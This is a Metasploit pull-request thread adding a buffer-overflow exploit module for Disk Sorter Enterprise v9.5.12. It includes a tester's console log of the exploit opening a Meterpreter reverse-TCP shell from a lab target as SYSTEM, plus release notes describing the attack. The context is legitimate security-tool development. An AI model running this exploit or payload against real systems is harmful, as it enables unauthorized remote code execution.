Buffer Overflow on Disk Sorter Enterprise

[DanielRTeixeira]

The software is available at: http://www.disksorter.com/setups/disksorterent_setup_v9.5.12.exe
Video: https://youtu.be/ot9UASdRY1w

[h00die]

Can you please add docs

[h00die]

space after ,

[DanielRTeixeira]

Done, let me know if you need anything else.

[h00die]

docs are .md not .rb.md

you should be able to use your module, then do info -d and view it in a browser to know you did it correctly

[wchen-r7]

I will test this PR. Thanks!

[wchen-r7]

The exploit works for me:

msf exploit(disksorter_bof) > show options

Module options (exploit/windows/http/disksorter_bof):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST    192.168.146.173  yes       The target address
   RPORT    80               yes       The target port (TCP)
   SSL      false            no        Negotiate SSL/TLS for outgoing connections
   VHOST                     no        HTTP server virtual host


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.146.1    yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Disk Sorter Enterprise v9.5.12


msf exploit(disksorter_bof) > run

[*] Started reverse TCP handler on 192.168.146.1:4444 
[*] Sending request...
[*] Sending stage (957487 bytes) to 192.168.146.173
[*] Meterpreter session 1 opened (192.168.146.1:4444 -> 192.168.146.173:1051) at 2017-04-24 17:15:39 -0500

Also the doc is easy to follow. Great job!

[wchen-r7]

Release Notes

The exploit/windows/http/disksorter_bof module has been added to the framework. It exploits a buffer overflow vulnerability in Disk Sorter Enterprise. By sending a specially crafted string in an HTTP GET request, you can gain arbitrary remote code execution under the context of SYSTEM.